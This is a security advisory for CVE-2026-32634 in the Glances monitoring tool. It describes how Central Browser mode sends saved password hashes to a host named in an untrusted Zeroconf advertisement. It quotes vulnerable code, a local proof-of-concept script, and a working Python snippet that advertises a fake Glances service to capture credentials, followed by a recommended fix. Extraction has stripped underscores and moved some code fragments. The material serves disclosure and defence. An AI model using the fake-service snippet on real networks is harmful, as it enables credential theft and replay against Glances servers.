PT-2026-25821 · Pypi · Glance
Published
2026-03-16
·
Updated
2026-03-16
·
CVE-2026-32634
CVSS v3.1
8.1
| Vector | AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
Summary
In Central Browser mode, Glances stores both the Zeroconf-advertised server name and the discovered IP address for dynamic servers, but later builds connection URIs from the untrusted advertised name instead of the discovered IP. When a dynamic server reports itself as protected, Glances also uses that same untrusted name as the lookup key for saved passwords and the global
[passwords] default credential.An attacker on the same local network can advertise a fake Glances service over Zeroconf and cause the browser to automatically send a reusable Glances authentication secret to an attacker-controlled host. This affects the background polling path and the REST/WebUI click-through path in Central Browser mode.
Details
Dynamic server discovery keeps both a short
name and a separate ip:# glances/servers list dynamic.py:56-61 def add server(self, name, ip, port, protocol='rpc'): new server = { 'key': name, 'name': name.split(':')[0], # Short name 'ip': ip, # IP address seen by the client 'port': port, ... 'type': 'DYNAMIC', }
The Zeroconf listener populates those fields directly from the service advertisement:
# glances/servers list dynamic.py:112-121 new server ip = socket.inet ntoa(address) new server port = info.port ... self.servers.add server( srv name, new server ip, new server port, protocol=new server protocol, )
However, the Central Browser connection logic ignores
server['ip'] and instead uses the untrusted advertised server['name'] for both password lookup and the destination URI:# glances/servers list.py:119-130 def get uri(self, server): if server['password'] != "": if server['status'] == 'PROTECTED': clear password = self.password.get password(server['name']) if clear password is not None: server['password'] = self.password.get hash(clear password) uri = 'http://{}:{}@{}:{}'.format( server['username'], server['password'], server['name'], server['port'], ) else: uri = 'http://{}:{}'.format(server['name'], server['port']) return uri
That URI is used automatically by the background polling thread:
# glances/servers list.py:141-143 def update stats(self, server): server['uri'] = self.get uri(server)
The password lookup itself falls back to the global default password when there is no exact match:
# glances/password list.py:45-58 def get password(self, host=None): ... try: return self. password dict[host] except (KeyError, TypeError): try: return self. password dict['default'] except (KeyError, TypeError): return None
The sample configuration explicitly supports that
default credential reuse:# conf/glances.conf:656-663 [passwords] # Define the passwords list related to the [serverlist] section # ... #default=defaultpassword
The secret sent over the network is not the cleartext password, but it is still a reusable Glances authentication credential. The client hashes the configured password and sends that hash over HTTP Basic authentication:
# glances/password.py:72-74,94 # For Glances client, get the password (confirm=False, clear=True): # 2) the password is hashed with SHA-pbkdf2 hmac (only SHA string transit password = password hash
# glances/client.py:55-57 if args.password != "": self.uri = f'http://{args.username}:{args.password}@{args.client}:{args.port}'
There is an inconsistent trust boundary in the interactive browser code as well:
opens the REST/WebUI target viaglances/client browser.py:44
, which again trustswebbrowser.open(self.servers list.get uri(server))server['name']
fetches saved passwords withglances/client browser.py:55self.servers list.password.get password(server['name'])
usesglances/client browser.py:76
for the RPC client connectionserver['ip']
That asymmetry shows the intended safe destination (
ip) is already available, but the credential-bearing URI and password binding still use the attacker-controlled Zeroconf name.Exploit Flow
- The victim runs Glances in Central Browser mode with autodiscovery enabled and has a saved Glances password in
(especially[passwords]
).default=... - An attacker on the same multicast domain advertises a fake
service with an attacker-controlled service name.glances. tcp.local. - Glances stores the discovered server as
.{'name': <advertised-name>, 'ip': <discovered-ip>, ...} - The background stats refresh calls
.get uri(server) - Once the fake server causes the entry to become
,PROTECTED
looks up a saved password by the attacker-controlledget uri()
, falls back toname
if present, hashes it, and buildsdefault
.http://username:hash@<advertised-name>:<port> - The attacker receives a reusable Glances authentication secret and can replay it against Glances servers using the same credential.
PoC
Step 1: Verified local logic proof
The following command executes the real
glances/servers list.py get uri() implementation (with unrelated imports stubbed out) and demonstrates that:- password lookup happens against
, notserver['name']server['ip'] - the generated credential-bearing URI uses
, notserver['name']server['ip']
cd D:bugcrowdglancesrepo @' import importlib.util import sys import types from pathlib import Path pkg = types.ModuleType('glances') pkg. apiversion = '4' sys.modules['glances'] = pkg client mod = types.ModuleType('glances.client') class GlancesClientTransport: pass client mod.GlancesClientTransport = GlancesClientTransport sys.modules['glances.client'] = client mod globals mod = types.ModuleType('glances.globals') globals mod.json loads = lambda x: x sys.modules['glances.globals'] = globals mod logger mod = types.ModuleType('glances.logger') logger mod.logger = types.SimpleNamespace( debug=lambda *a, **k: None, warning=lambda *a, **k: None, info=lambda *a, **k: None, error=lambda *a, **k: None, ) sys.modules['glances.logger'] = logger mod password list mod = types.ModuleType('glances.password list') class GlancesPasswordList: pass password list mod.GlancesPasswordList = GlancesPasswordList sys.modules['glances.password list'] = password list mod dynamic mod = types.ModuleType('glances.servers list dynamic') class GlancesAutoDiscoverServer: pass dynamic mod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer sys.modules['glances.servers list dynamic'] = dynamic mod static mod = types.ModuleType('glances.servers list static') class GlancesStaticServer: pass static mod.GlancesStaticServer = GlancesStaticServer sys.modules['glances.servers list static'] = static mod spec = importlib.util.spec from file location('tested servers list', Path('glances/servers list.py')) mod = importlib.util.module from spec(spec) spec.loader.exec module(mod) GlancesServersList = mod.GlancesServersList class FakePassword: def get password(self, host=None): print(f'lookup:{host}') return 'defaultpassword' def get hash(self, password): return f'hash({password})' sl = GlancesServersList. new (GlancesServersList) sl.password = FakePassword() server = { 'name': 'trusted-host', 'ip': '203.0.113.77', 'port': 61209, 'username': 'glances', 'password': None, 'status': 'PROTECTED', 'type': 'DYNAMIC', } print(sl.get uri(server)) print(server) '@ | python -
Verified output:
lookup:trusted-host http://glances:hash(defaultpassword)@trusted-host:61209 {'name': 'trusted-host', 'ip': '203.0.113.77', 'port': 61209, 'username': 'glances', 'password': 'hash(defaultpassword)', 'status': 'PROTECTED', 'type': 'DYNAMIC'}
This confirms the code path binds credentials to the advertised
name and ignores the discovered ip.Step 2: Live network reproduction
- Configure a reusable browser password:
# glances.conf [passwords] default=SuperSecretBrowserPassword
- Start Glances in Central Browser mode on the victim machine:
glances --browser -C ./glances.conf
- On an attacker-controlled machine on the same LAN, advertise a fake Glances Zeroconf service and return HTTP 401 / XML-RPC auth failures so the entry becomes
:PROTECTED
from zeroconf import ServiceInfo, Zeroconf import socket import time zc = Zeroconf() info = ServiceInfo( " glances. tcp.local.", "198.51.100.50:61209. glances. tcp.local.", addresses=[socket.inet aton("198.51.100.50")], port=61209, properties={b"protocol": b"rpc"}, server="ignored.local.", ) zc.register service(info) time.sleep(600)
- On the next Central Browser refresh, Glances first probes the fake server, marks it
, then retries with:PROTECTED
http://glances:<pbkdf2 hash of default password>@198.51.100.50:61209
- The attacker captures the Basic-auth credential and can replay that value as the Glances password hash against Glances servers that share the same configured password.
Impact
- Credential exfiltration from browser operators: An adjacent-network attacker can harvest the reusable Glances authentication secret from operators running Central Browser mode with saved passwords.
- Authentication replay: The captured pbkdf2-derived Glances password hash can be replayed against Glances servers that use the same credential.
- REST/WebUI click-through abuse: For REST servers,
can open attacker-controlled URLs with embedded credentials.webbrowser.open(self.servers list.get uri(server)) - No user click required for background theft: The stats refresh thread uses the vulnerable path automatically once the fake service is marked
.PROTECTED - Affected scope: This is limited to Central Browser deployments with autodiscovery enabled and saved/default passwords configured. Static server entries and standalone non-browser use are not directly affected by this specific issue.
Recommended Fix
Use the discovered
ip as the only network destination for autodiscovered servers, and do not automatically apply saved or default passwords to dynamic entries.# glances/servers list.py def get connect host(self, server): if server.get('type') == 'DYNAMIC': return server['ip'] return server['name'] def get preconfigured password(self, server): # Dynamic Zeroconf entries are untrusted and should not inherit saved/default creds if server.get('type') == 'DYNAMIC': return None return self.password.get password(server['name']) def get uri(self, server): host = self. get connect host(server) if server['password'] != "": if server['status'] == 'PROTECTED': clear password = self. get preconfigured password(server) if clear password is not None: server['password'] = self.password.get hash(clear password) return 'http://{}:{}@{}:{}'.format(server['username'], server['password'], host, server['port']) return 'http://{}:{}'.format(host, server['port'])
And use the same
get preconfigured password() logic in glances/client browser.py instead of calling self.servers list.password.get password(server['name']) directly.Fix
Insufficiently Protected Credentials
Origin Validation Error
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Glance